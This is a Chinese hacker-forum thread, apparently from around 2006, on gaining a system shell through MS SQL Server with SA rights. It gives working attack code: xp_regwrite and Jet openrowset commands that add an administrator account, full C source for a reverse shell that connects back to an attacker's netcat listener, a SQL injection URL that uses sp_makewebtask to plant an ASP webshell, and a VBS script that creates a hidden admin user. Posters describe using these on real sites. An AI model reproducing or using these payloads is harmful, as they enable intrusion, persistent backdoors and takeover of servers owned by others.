[讨论]SA权限仅需xp_regwrite即可有dos shell
议题提交:L0op8ack信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
验证截图:
[attach]3164[/attach]
附:
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name : win32 connect back shell source for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage :
//on your pc : nc -l -p {listen port}
//on vitim pc : win32cbsh {your ip} {listen port}
//warning : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
====================== CUT here ======================= [quote][b]这里是引用第[/b][color=#ff0000][0 楼][/color][b]的[color=#000066]l0op8ack[/color]于[/b]2006-01-02 09:10[b]发表的:[/b][讨论]SA权限仅需xp_regwrite即可有dos shell
议题提交:L0op8ack
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
.......[/quote]
office2003怎么搞都没用样 好贴子,要是db_owern下能执行这个命令就爽了. Cannot load the DLL xpstar.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.).
Why? 貌似这个方法都出来好久了 [s:267] 我再说一个方法,直接得webshell的,也要sa权限 [s:264] [s:264] ,这年头,权限不好弄啊,呵呵
用 sp_makewebtask直接在web目录里写入一句话马:
[url]http://127.0.0.1/dblogin123.asp?username=123[/url]';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
前提是注入点是sa权限。
sp_makewebtask真是个好东西,知道表名就能够输出内容了。其中的一个问题困扰了我很久,今天终于得到解决:在用sp_makewebtask往文件里面写东西的时候,用到了select语句,但是只是用它来写<%execute(request("a"))%>,并不是对某个列的查询,写入一直出错。由于sp_makewebtask的第二个参数本身有个单引号在外面了,本以为select后面的内容加双引号就能成功写进去了,但是总是不能,偶尔发现是用两个单引号来直接写文本,单引号起着重定义的作用,本机试验成功。
sp_makewebtask的要求权限是sa,而且用这种方法的时候需要知道WEB的物理路径。但是有的管理员会删除某些扩展存储过程,这种方法也能算是个思路吧
方法是比较猥琐了点
[s:264] [s:264] [s:264] [s:264] [s:264] 汗一下。。。我还以为是什么新东西。~这么老的东西都被楼上挖出来了。
楼上猥琐的方法在某些特定的情况下还是管用的。嘿嘿。昨天刚好遇到一个KR的站就这个情况~ [s:269] 经测试,LZ的方法确实有效……
[s:269] 经测试,5楼的方法同样有效
[s:264] net的权限被限制了,不能用net,直接xpcmd执行都是被拒绝,有啥好方法啊? ls的。试试net1.哈哈 .net1也不行,我都试过了,没有权限
组件我倒是都给恢复了,还有啥好的办法么? 但是不能回显的怎么办? 看过 LCX 的一则 VBS
SET wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://" & wsnetwork.ComputerName
SET ob = GetObject(os)
SET oe = GetObject(os & "/administrators,group")
SET od = ob.Create("user", "he$")
od.SetPassword "he"
od.SetInfo
Set of = GetObject(os & "/he$", user)
oe.add os&"/he$"
保存为 AddUser.VBS ,然后在 CMD 中运行 cscript AddUser.vbs
就可增加用户。
页:
[1]
